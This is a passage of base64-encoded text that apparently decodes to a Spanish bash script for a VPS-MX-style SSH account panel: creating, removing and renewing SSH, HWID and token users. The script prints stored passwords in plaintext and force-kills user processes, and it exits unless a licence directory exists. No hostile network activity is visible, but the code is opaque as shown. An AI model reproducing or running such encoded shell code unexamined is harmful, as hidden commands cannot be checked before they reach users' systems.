XN1YXJpb3NfcGFzcz0kKGNhdCAke1VTUmRhdGFiYXNlfXxjdXQgLWQnfCcgLWYyKQppZiBbWyAteiAke3VzdWFyaW9zX2F0aXZvc1tAXX0gXV07IHRoZW4KbXNnIC10aXQKbXNnIC1hbWEgIiAgIEFHUkVHQVIgVVNVQVJJTyB8IE5pbmd1biBVc3VhcmlvIFJlZ2lzdHJhZG8iCm1zZyAtYmFyCmVsc2UKbXNnIC10aXQKbXNnIC1hbWEgIiAgQUdSRUdBUiBVU1VBUklPIHwgVXN1YXJpb3MgIEFjdGl2b3MgZW4gU2Vydmlkb3IiCm1zZyAtYmFyCmZvciB1cyBpbiAkKGVjaG8gJHt1c3Vhcmlvc19hdGl2b3NbQF19KTsgZG8KbXNnIC1uZSAiICA+PiBVc3VhcmlvOiAiICYmIGVjaG8gIiR7dXN9Igpkb25lCm1zZyAtYmFyCmZpCndoaWxlIHRydWU7IGRvCiAgICAgbXNnIC1uZSAiJChmdW5fdHJhbnMgIk5vbWJyZSBEZWwgTnVldm8gVXN1YXJpbyIpIgogICAgIHJlYWQgLXAgIjogIiBub21ldXNlcgogICAgIG5vbWV1c2VyPSIkKGVjaG8gJG5vbWV1c2VyfHNlZCAtZSAncy9bXmEtejAtOSAtXS8vaWcnKSIKICAgICBpZiBbWyAteiAkbm9tZXVzZXIgXV07IHRoZW4KICAgICBlcnJfZnVuIDEgJiYgY29udGludWUKICAgICBlbGlmIFtbICIkeyNub21ldXNlcn0iIC1sdCAiMyIgXV07IHRoZW4KICAgICBlcnJfZnVuIDIgJiYgY29udGludWUKICAgICBlbGlmIFtbICIkeyNub21ldXNlcn0iIC1ndCAiMTAiIF1dOyB0aGVuCiAgICAgZXJyX2Z1biAzICYmIGNvbnRpbnVlCiAgICAgZWxpZiBbWyAiJChlY2hvICR7dXN1YXJpb3NfYXRpdm9zW0BdfXxncmVwIC13ICIkbm9tZXVzZXIiKSIgXV07IHRoZW4KICAgICBlcnJfZnVuIDE0ICYmIGNvbnRpbnVlCiAgICAgZmkKICAgICBicmVhawpkb25lCndoaWxlIHRydWU7IGRvCiAgICAgbXNnIC1uZSAiJChmdW5fdHJhbnMgIkNvbnRyYXNlw7FhIERlbCBOdWV2byBVc3VhcmlvIikiCiAgICAgcmVhZCAtcCAiOiAiIHNlbmhhdXNlcgogICAgIGlmIFtbIC16ICRzZW5oYXVzZXIgXV07IHRoZW4KICAgICBlcnJfZnVuIDQgJiYgY29udGludWUKICAgICBlbGlmIFtbICIkeyNzZW5oYXVzZXJ9IiAtbHQgIjMiIF1dOyB0aGVuCiAgICAgZXJyX2Z1biA1ICYmIGNvbnRpbnVlCiAgICAgZWxpZiBbWyAiJHsjc2VuaGF1c2VyfSIgLWd0ICIxMCIgXV07IHRoZW4KICAgICBlcnJfZnVuIDYgJiYgY29udGludWUKICAgICBlbGlmIFtbICIkKGVjaG8gJHt1c3Vhcmlvc19wYXNzW0BdfXxncmVwIC13ICIkc2VuaGF1c2VyIikiIF1dOyB0aGVuCiAgICAgZXJyX2Z1biAxNSAmJiBjb250aW51ZQogICAgIGZpCiAgICAgYnJlYWsKZG9uZQp3aGlsZSB0cnVlOyBkbwogICAgIG1zZyAtbmUgIiQoZnVuX3RyYW5zICJUaWVtcG8gZGUgRHVyYWNpb24gZGVsIE51ZXZvIFVzdWFyaW8iKSIKICAgICByZWFkIC1wICI6ICIgZGlhc3VzZXIKICAgICBpZiBbWyAteiAiJGRpYXN1c2VyIiBdXTsgdGhlbgogICAgIGVycl9mdW4gNyAmJiBjb250aW51ZQogICAgIGVsaWYgW1sgIiRkaWFzdXNlciIgIT0gKyhbMC05XSkgXV07IHRoZW4KICAgICBlcnJfZnVuIDggJiYgY29udGludWUKICAgICBlbGlmIFtbICIkZGlhc3VzZXIiIC1ndCAiMzYwIiBdXTsgdGhlbgogICAgIGVycl9mdW4gOSAmJiBjb250aW51ZQogICAgIGZpIAogICAgIGJyZWFrCmRvbmUKd2hpbGUgdHJ1ZTsgZG8KICAgICBtc2cgLW5lICIkKGZ1bl90cmFucyAiTGltaXRlIGRlIENvbmV4aW9uZXMgZGVsIE51ZXZvIFVzdWFyaW8iKSIKICAgICByZWFkIC1wICI6ICIgbGltaXRldXNlcgogICAgIGlmIFtbIC16ICIkbGltaXRldXNlciIgXV07IHRoZW4KICAgICBlcnJfZnVuIDExICYmIGNvbnRpbnVlCiAgICAgZWxpZiBbWyAiJGxpbWl0ZXVzZXIiICE9ICsoWzAtOV0pIF1dOyB0aGVuCiAgICAgZXJyX2Z1biAxMiAmJiBjb250aW51ZQogICAgIGVsaWYgW1sgIiRsaW1pdGV1c2VyIiAtZ3QgIjk5OSIgXV07IHRoZW4KICAgICBlcnJfZnVuIDEzICYmIGNvbnRpbnVlCiAgICAgZmkKICAgICBicmVhawpkb25lCiAgICAgZWNobyAiIgogICAgIGNsZWFyCiAgICAgCgphZGRfdXNlciAiJHtub21ldXNlcn0iICIke3NlbmhhdXNlcn0iICIke2RpYXN1c2VyfSIgIiR7bGltaXRldXNlcn0iICMmJiBtc2cgLWFtYSAiJChmdW5fdHJhbnMgIiAgICAgICAgICAgIFVzdWFyaW8gQ3JlYWRvIGNvbiBFeGl0byIpIiB8fCBtc2cgLXZlcm0gIiQoZnVuX3RyYW5zICIgICAgICAgICBFcnJvciwgVXN1YXJpbyBubyBjcmVhZG8iKSIKbXNnIC1iYXIKICAgICBtc2cgLW5lICIkKGZ1bl90cmFucyAiICA+PiBJUCBkZWwgU2Vydmlkb3IiKTogIiAmJiBlY2hvIC1lICIkKG1ldV9pcCkiCiAgICAgbXNnIC1uZSAiJChmdW5fdHJhbnMgIiAgPj4gVXN1YXJpbyIpOiAiICYmIGVjaG8gLWUgIiRub21ldXNlciIKICAgICBtc2cgLW5lICIkKGZ1bl90cmFucyAiICA+PiBDb250cmFzZcOxYSIpOiAiICYmIGVjaG8gLWUgIiRzZW5oYXVzZXIiCiAgICAgbXNnIC1uZSAiJChmdW5fdHJhbnMgIiAgPj4gRGlhcyBkZSBEdXJhY2lvbiIpOiAiICYmIGVjaG8gLWUgIiRkaWFzdXNlciIKICAgICBtc2cgLW5lICIkKGZ1bl90cmFucyAiICA+PiBGZWNoYSBkZSBFeHBpcmFjaW9uIik6ICIgJiYgZWNobyAtZSAiJChkYXRlICIrJUYiIC1kICIgKyAkZGlhc3VzZXIgZGF5cyIpIgogICAgIG1zZyAtbmUgIiQoZnVuX3RyYW5zICIgID4+IExpbWl0ZSBkZSBDb25leGlvbiIpOiAiICYmIGVjaG8gLWUgIiRsaW1pdGV1c2VyIgogICAgIApbWyAkKGRwa2cgLS1nZXQtc2VsZWN0aW9uc3xncmVwIC13ICJvcGVudnBuInxoZWFkIC0xKSBdXSAmJiBbWyAtZSAvZXRjL29wZW52cG4vb3BlbnZwbi1zdGF0dXMubG9nIF1dICYmIG5ld2NsaWVudCAiJG5vbWV1c2VyIiAiJHNlbmhhdXNlciIKI21zZyAtYmFyCiNlY2hvIC1lICIJXGVbOTdtXGVbMTsxMDBtUFVFUlRPUyBBQklFUlRPU1xlWzBtIgojbGFjYXNpdGEKbXNnIC1iYXIKbXNnIC1uZSAiIEVudGVyIFBhcmEgQ29udGludWFyIiAmJiByZWFkIGVudGVyCiR7U0NQdXNyfS91c2VyY29kZXMKfQoKbWVudV9jcmVhcnVzZXIoKXsKY2xlYXIKI21zZyAtYmFyCm1zZyAtdGl0Cm1zZyAtYW1hICIgXGVbMTszM21bMV0gXGVbMzdtQ1JFQVIgQ1VFTlRBIE5PUk1BTCBcZVswbSBcbiBcZVsxOzMzbVsyXSBcZVszN21DUkVBUiBDVUVOVEEgSFdJRCBcZVswbVxuIFxlWzE7MzNtWzNdIFxlWzM3bUNSRUFSIENVRU5UQSBUT0tFTiBcZVswbVxuIFxlWzE7MzFtWzBdIFxlWzE7MzdtPC0gVk9MVkVSIgptc2cgLWJhcgpyZWFkIC1wICIgJChlY2hvIC1lICJcZVsxOzM3bVNlbGVjY2lvbmUgVW5hIE9wY2lvbiBbMS8zXTpcZVsxOzMzbSIpICIgY3VlbgpjYXNlICRjdWVuIGluCjEpbmV3X3VzZXI7OwoyKW5ld19od2lkOzsKMyluZXdfdG9rZW47OwowKSR7U0NQdXNyfS91c2VyY29kZXM7Owplc2FjCgp9CgpyZW1vdmVfdXNlciAoKSB7CmNsZWFyCmNsZWFyCm1zZyAtYmFyCiN1c3Vhcmlvc19hdGl2b3M9KCQobW9zdHJhcl91c3VhcmlvcykpCnVzdWFyaW9zX2F0aXZvcz0oJycgJChtb3N0cmFyX3VzZXIpKQoJaWYgW1sgLXogJHt1c3Vhcmlvc19hdGl2b3NbQF19IF1dOyB0aGVuCm1zZyAtdmVybSAiJChmdW5fdHJhbnMgIk5pbmd1biB1c3VhcmlvIHJlZ2lzdHJhZG8iKSIKbXNnIC1iYXIKcmV0dXJuIDEKZWxzZQptc2cgLWFtYSAiJChmdW5fdHJhbnMgIglVc3VhcmlvcyBTU0ggQWN0aXZvcyIpIgptc2cgLWJhcgpkYXRfdXM9JChwcmludGYgJyUtMTdzJS03cycgJ1VTVUFSSU8nICdDT05UUkFTRcORQScpCm1zZyAtYXp1ICIgIFxlWzE7OTdtXGVbMTsxMDBtJGRhdF91cyIKbXNnIC1iYXIKaT0xCmZvciB1cyBpbiAkKGVjaG8gJHt1c3Vhcmlvc19hdGl2b3NbQF19KTsgZG8KW1sgLXogJChjYXQgJHtVU1JkYXRhYmFzZX18Z3JlcCAtdyAiJHt1c30iKSBdXSAmJiBwYXNzPSIiIHx8IHBhc3M9IiQoY2F0ICR7VVNSZGF0YWJhc2V9fGdyZXAgLXcgIiR7dXN9InxjdXQgLWQnfCcgLWYyKSIKdXNlcj0kKHByaW50ZiAnJS0xN3MnICIke3VzfSIpCnBhcz0kKHByaW50ZiAnJS03cycgIiRwYXNzIikKbXNnIC1uZSAiWyRpXSAiICYmIGVjaG8gLWUgIlwwMzNbMTszN20ke3VzZXJ9XGVbOTJtJHBhcyIKbGV0IGkrKwpkb25lCm1zZyAtYmFyCmZpCm1zZyAtYnJhICIkKGZ1bl90cmFucyAiIFswXSBWT0xWRVIiKSIKbXNnIC1hbWEgIiQoZnVuX3RyYW5zICJFc2NyaWJhIG8gU2VsZWNjaW9uZSB1biBVc3VhcmlvIikiCm1zZyAtYW1hICJcMDMzWzE7MzFtU2UgcmVjb21pZW5kYSBkZXNibG9xdWVhciB0b2RhcyBsYXMgY3VlbnRhcyBcbmJsb3F1ZWFkYXMgYW50ZXMgZGUgYm9ycmFyIGFsZ3VuIHVzdWFyaW8uIgptc2cgLWJhcgp1bnNldCBzZWxlY3Rpb24Kd2hpbGUgW1sgLXogJHtzZWxlY3Rpb259IF1dOyBkbwplY2hvIC1uZSAiXDAzM1sxOzM3bSQoZnVuX3RyYW5zICJTZWxlY2Npb25lIFVuYSBPcGNpb24iKTogIiAmJiByZWFkIHNlbGVjdGlvbgp0cHV0IGN1dTEgJiYgdHB1dCBkbDEKZG9uZQppZiBbWyAhICQoZWNobyAiJHtzZWxlY3Rpb259IiB8IGVncmVwICdbXjAtOV0nKSBdXTsgdGhlbgp1c3VhcmlvX2RlbD0iJHt1c3Vhcmlvc19hdGl2b3NbJHNlbGVjdGlvbl19IgplbHNlCnVzdWFyaW9fZGVsPSIkc2VsZWN0aW9uIgpmaQoJW1sgLXogJHVzdWFyaW9fZGVsIF1dICYmIHsKCQltc2cgLXZlcm0gIiQoZnVuX3RyYW5zICJFcnJvciwgVXN1YXJpbyBJbnZhbGlkbyIpIgoJCW1zZyAtYmFyCgkJcmV0dXJuIDEKCX0KCVtbICEgJChlY2hvICR7dXN1YXJpb3NfYXRpdm9zW0BdfXxncmVwIC13ICIkdXN1YXJpb19kZWwiKSBdXSAmJiB7CgkJbXNnIC12ZXJtICIkKGZ1bl90cmFucyAiRXJyb3IsIFVzdWFyaW8gSW52YWxpZG8iKSIKCQltc2cgLWJhcgoJCXJldHVybiAxCgl9CgoJbXNnIC1hbWEgIiQoZnVuX3RyYW5zICJVc3VhcmlvIFNlbGVjY2lvbmFkbyIpOlxlWzMxbSAkdXN1YXJpb19kZWwiCglwa2lsbCAtdSAkdXN1YXJpb19kZWwKCWRyb3BsaW09YGRyb3BwaWRzfGdyZXAgLXcgIiR1c3VhcmlvX2RlbCJ8YXdrICd7cHJpbnQgJDJ9J2AgCglraWxsIC05ICRkcm9wbGltICY+L2Rldi9udWxsCglybV91c2VyICIkdXN1YXJpb19kZWwiCnJtIC1yZiAvZXRjL1ZQUy1NWC9WUFMtTVgtdXNlcmxvY2sKcm0gLXJmIC9ldGMvVlBTLU1YL2NvbnRyb2xhZG9yL0xpbWl0ZXIubG9nCnVubG9ja2FsbDIgJj4vZGV2L251bGwKbXNnIC1iYXIKbXNnIC1uZSAiIEVudGVyIFBhcmEgQ29udGludWFyIiAmJiByZWFkIGVudGVyCiR7U0NQdXNyfS91c2VyY29kZXMKfQoKbGxsPSIvdXNyL2xvY2FsL21lZ2F0IiAmJiBbWyAhIC1kICR7bGxsfSBdXSAmJiBleGl0CgpyZW1vdmVfaHdpZCAoKSB7CmNsZWFyCmNsZWFyCnJlZD0kKHRwdXQgc2V0YWYgMSkKZ3Jlbj0kKHRwdXQgc2V0YWYgMikKeWVsbG93PSQodHB1dCBzZXRhZiAzKQptc2cgLWJhcgp1c3Vhcmlvc19hdGl2b3M9KCcnICQobW9zdHJhcl9od2lkKSkKCWlmIFtbIC16ICR7dXN1YXJpb3NfYXRpdm9zW0BdfSBdXTsgdGhlbgptc2cgLXZlcm0gIiQoZnVuX3RyYW5zICJOaW5ndW4gdXN1YXJpbyBIV0lEIikiCm1zZyAtYmFyCnJldHVybiAxCmVsc2UKbXNnIC1hbWEgIiQoZnVuX3RyYW5zICIJVXN1YXJpb3MgSFdJRCBBY3Rpdm9zIikiCm1zZyAtYmFyCmRhdF91cz0kKHByaW50ZiAnJS0zM3MlLTdzJyAnVVNVQVJJTycgJ05PTUJSRScpCm1zZyAtYXp1ICIgIFxlWzE7OTdtXGVbMTsxMDBtJGRhdF91cyIKbXNnIC1iYXIKaT0xCmZvciB1cyBpbiAkKGVjaG8gJHt1c3Vhcmlvc19hdGl2b3NbQF19KTsgZG8KW1sgLXogJChjYXQgJHtVU1JkYXRhYmFzZWh9fGdyZXAgLXcgIiR7dXN9IikgXV0gJiYgbm9tYnJlPSIiIHx8IG5vbWJyZT0iJChjYXQgJHtVU1JkYXRhYmFzZWh9fGdyZXAgLXcgIiR7dXN9InxjdXQgLWQnfCcgLWYyKSIKdXNlcj0kKHByaW50ZiAnJS0zM3MnICIke3VzfSIpCnBhcz0kKHByaW50ZiAnJS03cycgIiRub21icmUiKQptc2cgLW5lICJbJGldICIgJiYgZWNobyAtZSAiXDAzM1sxOzM3bSR7dXNlcn1cZVs5Mm0kcGFzIgpsZXQgaSsrCmRvbmUKbXNnIC1iYXIKZmkKbXNnIC1icmEgIiQoZnVuX3RyYW5zICIgWzBdIFZPTFZFUiIpIgptc2cgLWFtYSAiJChmdW5fdHJhbnMgIkVzY3JpYmEgbyBTZWxlY2Npb25lIHVuIFVzdWFyaW8iKSIKbXNnIC1hbWEgIlwwMzNbMTszMW1TZSByZWNvbWllbmRhIGRlc2Jsb3F1ZWFyIHRvZGFzIGxhcyBjdWVudGFzIFxuYmxvcXVlYWRhcyBhbnRlcyBkZSBib3JyYXIgYWxndW4gdXN1YXJpby4iCm1zZyAtYmFyCnVuc2V0IHNlbGVjdGlvbgp3aGlsZSBbWyAteiAke3NlbGVjdGlvbn0gXV07IGRvCmVjaG8gLW5lICJcMDMzWzE7MzdtJChmdW5fdHJhbnMgIlNlbGVjY2lvbmUgVW5hIE9wY2lvbiIpOiAiICYmIHJlYWQgc2VsZWN0aW9uCnRwdXQgY3V1MSAmJiB0cHV0IGRsMQpkb25lCmlmIFtbICEgJChlY2hvICIke3NlbGVjdGlvbn0iIHwgZWdyZXAgJ1teMC05XScpIF1dOyB0aGVuCnVzdWFyaW9fZGVsPSIke3VzdWFyaW9zX2F0aXZvc1skc2VsZWN0aW9uXX0iCmVsc2UKdXN1YXJpb19kZWw9IiRzZWxlY3Rpb24iCmZpCglbWyAteiAkdXN1YXJpb19kZWwgXV0gJiYgewoJCW1zZyAtdmVybSAiJChmdW5fdHJhbnMgIkVycm9yLCBVc3VhcmlvIEludmFsaWRvIikiCgkJbXNnIC1iYXIKCQlyZXR1cm4gMQoJfQoJW1sgISAkKGVjaG8gJHt1c3Vhcmlvc19hdGl2b3NbQF19fGdyZXAgLXcgIiR1c3VhcmlvX2RlbCIpIF1dICYmIHsKCQltc2cgLXZlcm0gIiQoZnVuX3RyYW5zICJFcnJvciwgVXN1YXJpbyBJbnZhbGlkbyIpIgoJCW1zZyAtYmFyCgkJcmV0dXJuIDEKCX0KCgltc2cgLWFtYSAiJChmdW5fdHJhbnMgIlVzdWFyaW8gU2VsZWNjaW9uYWRvIik6XGVbMzFtICR1c3VhcmlvX2RlbCIKCXBraWxsIC11ICR1c3VhcmlvX2RlbAoJZHJvcGxpbT1gZHJvcHBpZHN8Z3JlcCAtdyAiJHVzdWFyaW9fZGVsInxhd2sgJ3twcmludCAkMn0nYCAKCWtpbGwgLTkgJGRyb3BsaW0gJj4vZGV2L251bGwKCXJtX2h3aWQgIiR1c3VhcmlvX2RlbCIKbXNnIC1iYXIKbXNnIC1uZSAiIEVudGVyIFBhcmEgQ29udGludWFyIiAmJiByZWFkIGVudGVyCiR7U0NQdXNyfS91c2VyY29kZXMKfQpyZW1vdmVfdG9rZW4gKCkgewpjbGVhcgpjbGVhcgpyZWQ9JCh0cHV0IHNldGFmIDEpCmdyZW49JCh0cHV0IHNldGFmIDIpCnllbGxvdz0kKHRwdXQgc2V0YWYgMykKbXNnIC1iYXIKdXN1YXJpb3NfYXRpdm9zPSgnJyAkKG1vc3RyYXJfdG9rZW4pKQoJaWYgW1sgLXogJHt1c3Vhcmlvc19hdGl2b3NbQF19IF1dOyB0aGVuCm1zZyAtdmVybSAiJChmdW5fdHJhbnMgIk5pbmd1biB1c3VhcmlvIFRPS0VOIikiCm1zZyAtYmFyCnJldHVybiAxCmVsc2UKbXNnIC1hbWEgIiQoZnVuX3RyYW5zICIJVXN1YXJpb3MgVE9LRU4gQWN0aXZvcyIpIgptc2cgLWJhcgpkYXRfdXM9JChwcmludGYgJyUtMThzJS03cycgJ1VTVUFSSU8nICdOT01CUkUnKQptc2cgLWF6dSAiICBcZVsxOzk3bVxlWzE7MTAwbSRkYXRfdXMiCm1zZyAtYmFyCmk9MQpmb3IgdXMgaW4gJChlY2hvICR7dXN1YXJpb3NfYXRpdm9zW0BdfSk7IGRvCltbIC16ICQoY2F0ICR7dG9rZW5zfXxncmVwIC13ICIke3VzfSIpIF1dICYmIG5vbWJyZT0iIiB8fCBub21icmU9IiQoY2F0ICR7dG9rZW5zfXxncmVwIC13ICIke3VzfSJ8Y3V0IC1kJ3wnIC1mMikiCnVzZXI9JChwcmludGYgJyUtMTdzJyAiJHt1c30iKQpwYXM9JChwcmludGYgJyUtN3MnICIkbm9tYnJlIikKbXNnIC1uZSAiWyRpXSAiICYmIGVjaG8gLWUgIlwwMzNbMTszN20ke3VzZXJ9XGVbOTJtJHBhcyIKbGV0IGkrKwpkb25lCm1zZyAtYmFyCmZpCm1zZyAtYnJhICIkKGZ1bl90cmFucyAiIFswXSBWT0xWRVIiKSIKbXNnIC1hbWEgIiQoZnVuX3RyYW5zICJFc2NyaWJhIG8gU2VsZWNjaW9uZSB1biBVc3VhcmlvIikiCm1zZyAtYW1hICJcMDMzWzE7MzFtU2UgcmVjb21pZW5kYSBkZXNibG9xdWVhciB0b2RhcyBsYXMgY3VlbnRhcyBcbmJsb3F1ZWFkYXMgYW50ZXMgZGUgYm9ycmFyIGFsZ3VuIHVzdWFyaW8uIgptc2cgLWJhcgp1bnNldCBzZWxlY3Rpb24Kd2hpbGUgW1sgLXogJHtzZWxlY3Rpb259IF1dOyBkbwplY2hvIC1uZSAiXDAzM1sxOzM3bSQoZnVuX3RyYW5zICJTZWxlY2Npb25lIFVuYSBPcGNpb24iKTogIiAmJiByZWFkIHNlbGVjdGlvbgp0cHV0IGN1dTEgJiYgdHB1dCBkbDEKZG9uZQppZiBbWyAhICQoZWNobyAiJHtzZWxlY3Rpb259IiB8IGVncmVwICdbXjAtOV0nKSBdXTsgdGhlbgp1c3VhcmlvX2RlbD0iJHt1c3Vhcmlvc19hdGl2b3NbJHNlbGVjdGlvbl19IgplbHNlCnVzdWFyaW9fZGVsPSIkc2VsZWN0aW9uIgpmaQoJW1sgLXogJHVzdWFyaW9fZGVsIF1dICYmIHsKCQltc2cgLXZlcm0gIiQoZnVuX3RyYW5zICJFcnJvciwgVXN1YXJpbyBJbnZhbGlkbyIpIgoJCW1zZyAtYmFyCgkJcmV0dXJuIDEKCX0KCVtbICEgJChlY2hvICR7dXN1YXJpb3NfYXRpdm9zW0BdfXxncmVwIC13ICIkdXN1YXJpb19kZWwiKSBdXSAmJiB7CgkJbXNnIC12ZXJtICIkKGZ1bl90cmFucyAiRXJyb3IsIFVzdWFyaW8gSW52YWxpZG8iKSIKCQltc2cgLWJhcgoJCXJldHVybiAxCgl9CgoJbXNnIC1hbWEgIiQoZnVuX3RyYW5zICJVc3VhcmlvIFNlbGVjY2lvbmFkbyIpOlxlWzMxbSAkdXN1YXJpb19kZWwiCglwa2lsbCAtdSAkdXN1YXJpb19kZWwKCWRyb3BsaW09YGRyb3BwaWRzfGdyZXAgLXcgIiR1c3VhcmlvX2RlbCJ8YXdrICd7cHJpbnQgJDJ9J2AgCglraWxsIC05ICRkcm9wbGltICY+L2Rldi9udWxsCglybV90b2tlbiAiJHVzdWFyaW9fZGVsIgptc2cgLWJhcgptc2cgLW5lICIgRW50ZXIgUGFyYSBDb250aW51YXIiICYmIHJlYWQgZW50ZXIKJHtTQ1B1c3J9L3VzZXJjb2Rlcwp9CgptZW51ZGVsKCl7CmNsZWFyCiNtc2cgLWJhcgptc2cgLXRpdAptc2cgLWFtYSAiIFxlWzE7MzNtWzFdIFxlWzE7MzdtUkVNT1ZFUiBDVUVOVEFTIFNTSCAgXG4gXGVbMTszM21bMl0gXGVbMTszN21SRU1PVkVSIENVRU5UQVMgSFdJRFxuIFxlWzE7MzNtWzNdIFxlWzE7MzdtUkVNT1ZFUiBDVUVOVEFTIFRPS0VOXG4gXGVbMTszMW1bMF0gXGVbMTszN208LSBWT0xWRVIiCm1zZyAtYmFyCnJlYWQgLXAgIiAkKGVjaG8gLWUgIlxlWzE7MzdtU2VsZWNjaW9uZSBVbmEgT3BjaW9uIFsxLzNdOlxlWzE7MzNtIikgIiBjdWVuCmNhc2UgJGN1ZW4gaW4KMSlyZW1vdmVfdXNlcjs7CjIpcmVtb3ZlX2h3aWQ7OwozKXJlbW92ZV90b2tlbjs7CjApJHtTQ1B1c3J9L3VzZXJjb2Rlczs7CmVzYWMKfQoKcmVuZXdfdXNlciAoKSB7CmNsZWFyCmNsZWFyCiNtc2cgLWJhcgp1c3Vhcmlvc19hdGl2b3M9KCcnICQobW9zdHJhcl91c2VyKSkKaWYgW1sgLXogJHt1c3Vhcmlvc19hdGl2b3NbQF19IF1dOyB0aGVuCm1zZyAtdGl0Cm1zZyAtdmVybSAiJChmdW5fdHJhbnMgIiBSRU5PVkFSIFVTVUFSSU8gU1NIfCBOaW5ndW4gdXN1YXJpbyByZWdpc3RyYWRvIikiCm1zZyAtYmFyCnJldHVybiAxCmVsc2UKbXNnIC10aXQKbXNnIC1hbWEgIiQoZnVuX3RyYW5zICIgUkVOT1ZBUiBVU1VBUklPIFNTSHwgVXN1YXJpb3MgQWN0aXZvcyBlbiBlbCBTZXJ2aWRvciIpIgptc2cgLWJhcgppPTEKZm9yIHVzIGluICQoZWNobyAke3VzdWFyaW9zX2F0aXZvc1tAXX0pOyBkbwptc2cgLW5lICJbJGldIC0+IiAmJiBlY2hvIC1lICJcMDMzWzE7MzNtICR7dXN9IgpsZXQgaSsrCmRvbmUKbXNnIC1iYXIKZmkKbXNnIC1hbWEgIiQoZnVuX3RyYW5zICJFc2NyaWJhIG8gc2VsZWNjaW9uZSB1biBVc3VhcmlvIikiCm1zZyAtYmFyCnVuc2V0IHNlbGVjdGlvbgp3aGlsZSBbWyAteiAke3NlbGVjdGlvbn0gXV07IGRvCmVjaG8gLW5lICJcMDMzWzE7MzdtJChmdW5fdHJhbnMgIlNlbGVjY2lvbmUgdW5hIE9wY2lvbiIpOiAiICYmIHJlYWQgc2VsZWN0aW9uCnRwdXQgY3V1MQp0cHV0IGRsMQpkb25lCmlmIFtbICEgJChlY2hvICIke3NlbGVjdGlvbn0iIHwgZWdyZXAgJ1teMC05XScpIF1dOyB0aGVuCnVzZXJlZGl0PSIke3VzdWFyaW9zX2F0aXZvc1skc2VsZWN0aW9uXX0iCmVsc2UKdXNlcmVkaXQ9IiRzZWxlY3Rpb24iCmZpCltbIC16ICR1c2VyZWRpdCBdXSAmJiB7CiAgICAgbXNnIC12ZXJtICIkKGZ1bl90cmFucyAiRXJyb3IsIFVzdWFyaW8gSW52YWxpZG8iKSIKICAgICBtc2cgLWJhcgogICAgIHJldHVybiAxCiAgICAgfQpbWyAhICQoZWNobyAke3VzdWFyaW9zX2F0aXZvc1tAXX18Z3JlcCAtdyAiJHVzZXJlZGl0IikgXV0gJiYgewogICAgIG1zZyAtdmVybSAiJChmdW5fdHJhbnMgIkVycm9yLCBVc3VhcmlvIEludmFsaWRvIikiCiAgICAgbXNnIC1iYXIKICAgICByZXR1cm4gMQogICAgIH0Kd2hpbGUgdHJ1ZTsgZG8KICAgICBtc2cgLW5lICJOdWV2byBUaWVtcG8gZGUgRHVyYWNpb24gZGU6XDAzM1sxOzM3bSAkdXNlcmVkaXRcZVszM20iCiAgICAgcmVhZCAtcCAiOiAiIGRpYXN1c2VyCiAgICAgaWYgW1sgLXogIiRkaWFzdXNlciIgXV07IHRoZW4KICAgICBlY2hvIC1lICdcblxuXG4nCiAgICAgZXJyX2Z1biA3ICYmIGNvbnRpbnVlCiAgICAgZWxpZiBbWyAiJGRpYXN1c2VyIiAhPSArKFswLTldKSBdXTsgdGhlbgogICAgIGVjaG8gLWUgJ1xuXG5cbicKICAgICBlcnJfZnVuIDggJiYgY29udGludWUKICAgICBlbGlmIFtbICIkZGlhc3VzZXIiIC1ndCAiMzYwIiBdXTsgdGhlbgogICAgIGVjaG8gLWUgJ1xuXG5cbicKICAgICBlcnJfZnVuIDkgJiYgY29udGludWUKICAgICBmaQogICAgIGJyZWFrCmRvbmUKbXNnIC1iYXIKcmVuZXdfdXNlcl9mdW4gIiR7dXNlcmVkaXR9IiAiJHtkaWFzdXNlcn0iICMmJiBtc2cgLWFtYSAiJChmdW5fdHJhbnMgIlVzdWFyaW8gTW9kaWZpY2FkbyBDb24gRXhpdG8iKSIgfHwgbXNnIC12ZXJtICIkKGZ1bl90cmFucyAiRXJyb3IsIFVzdWFyaW8gbm8gTW9kaWZpY2FkbyIpIgptc2cgLWJhcgptc2cgLW5lICIgRW50ZXIgUGFyYSBDb250aW51YXIiICYmIHJlYWQgZW50ZXIKJHtTQ1B1c3J9L3VzZXJjb2Rlcwp9CnJlbmV3X2h3aWQgKCkgewpjbGVhcgpjbGVhcgojbXNnIC1iYXIKdXN1YXJpb3NfYXRpdm9zPSgnJyAkKG1vc3RyYXJfaHdpZCkpCmlmIFtbIC16ICR7dXN1YXJpb3NfYXRpdm9zW0BdfSBdXTsgdGhlbgptc2cgLXRpdAptc2cgLXZlcm0gIiQoZnVuX3RyYW5zICIgUkVOT1ZBUiBVU1VBUklPIEhXSUQgfCBOaW5ndW4gdXN1YXJpbyByZWdpc3RyYWRvIikiCm1zZyAtYmFyCnJldHVybiAxCmVsc2UKbXNnIC10aXQKbXNnIC1hbWEgIiQoZnVuX3RyYW5zICIgUkVOT1ZBUiBVU1VBUklPIEhXSUQgfCBVc3VhcmlvcyBBY3Rpdm9zIGVuIGVsIFNlcnZpZG9yIikiCm1zZyAtYmFyCmk9MQpmb3IgdXMgaW4gJChlY2hvICR7dXN1YXJpb3NfYXRpdm9zW0BdfSk7IGRvCnBhc3M9JChjYXQgIi9ldGMvcGFzc3dkInxncmVwIC13ICIkdXMifGF3ayAtRiAnOicgJ3twcmludCAkNX0nfGN1dCAtZCAnLCcgLWYyKQoJCVtbICIkeyNwYXNzfSIgLWd0ICcxMScgXV0gJiYgcGFzcz0iPz8/PyIKCQlwYXNzPSIkKHByaW50ZiAnJS0zcycgIiRwYXNzIikiCgkJCgkJY2xpZW50ZT0iJChtc2cgLXZlcmQgIiRpIikkKG1zZyAtdmVybTIgIj4iKSQobXNnIC1henUgIiR7dXN9IikiCgkJbm9tYnJlPSJcZVsxOzU1bSR7cGFzc30iCgkJZWNobyAtZSAiJGNsaWVudGUgJG5vbWJyZSIKI21zZyAtbmUgIlskaV0gLT4iICYmIGVjaG8gLWUgIlwwMzNbMTszM20gJHt1c30iCmxldCBpKysKZG9uZQptc2cgLWJhcgpmaQptc2cgLWFtYSAiJChmdW5fdHJhbnMgIkVzY3JpYmEgbyBzZWxlY2Npb25lIHVuIFVzdWFyaW8iKSIKbXNnIC1iYXIKdW5zZXQgc2VsZWN0aW9uCndoaWxlIFtbIC16ICR7c2VsZWN0aW9ufSBdXTsgZG8KZWNobyAtbmUgIlwwMzNbMTszN20kKGZ1bl90cmFucyAiU2VsZWNjaW9uZSB1bmEgT3BjaW9uIik6ICIgJiYgcmVhZCBzZWxlY3Rpb24KdHB1dCBjdXUxCnRwdXQgZGwxCmRvbmUKaWYgW1sgISAkKGVjaG8gIiR7c2VsZWN0aW9ufSIgfCBlZ3JlcCAn